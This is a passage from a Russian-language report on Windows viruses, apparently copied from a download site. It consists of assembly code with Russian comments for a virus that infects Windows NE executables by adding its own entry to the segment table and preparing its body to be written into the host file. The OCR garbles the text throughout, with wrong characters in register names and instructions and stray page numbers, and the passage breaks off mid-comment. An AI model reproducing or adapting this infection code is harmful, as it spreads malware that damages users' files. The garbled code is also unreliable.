Доклад: Вирусы под Windows

pop ex

mov ah,40h

int 21h

.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor сх,сх
xor dx.dx
mov^ ax,4201h
int 21 h

;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax

.Получим длину файла, переместив указатель
^тения/записи в конец файла

xor сх.сх

xor dx,dx

mov ax,4202h

int 21 h

;Сохраним в стеке длину файла
push dx
push ax

;Вычислим и сохраним длину логического сектора
mov cx.WORD PTR [new_hdr+32h]
mov ax,1
shi ax.cl
mov [log_sec_len],ax

;Вычислим длину файла в логических секторах
mov сх.ах
pop ax
pop dx
div ex

-.Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов

or dx,dx

jz no_rmd

inc ax
no_rmd:

;3аполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax

3-1436

mov [my_seg_entry+2],OFFSET vir_end

mov [my_seg_entry+4],180h

mov [my_seg_entry+6],OFFSET vir_end

;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop ex

Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21 h

.Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov ex,8
mov ah,40h
int 21 h

;Скопируем тело вируса в область памяти, которую выделили

;в начале программы, для изменений в нем. В защищенном режиме

;(а работаем именно в нем), нельзя производить запись в сегмент

;кода. Если по какой-то причине нужно произвести изменение

К-во Просмотров: 946
Бесплатно скачать Доклад: Вирусы под Windows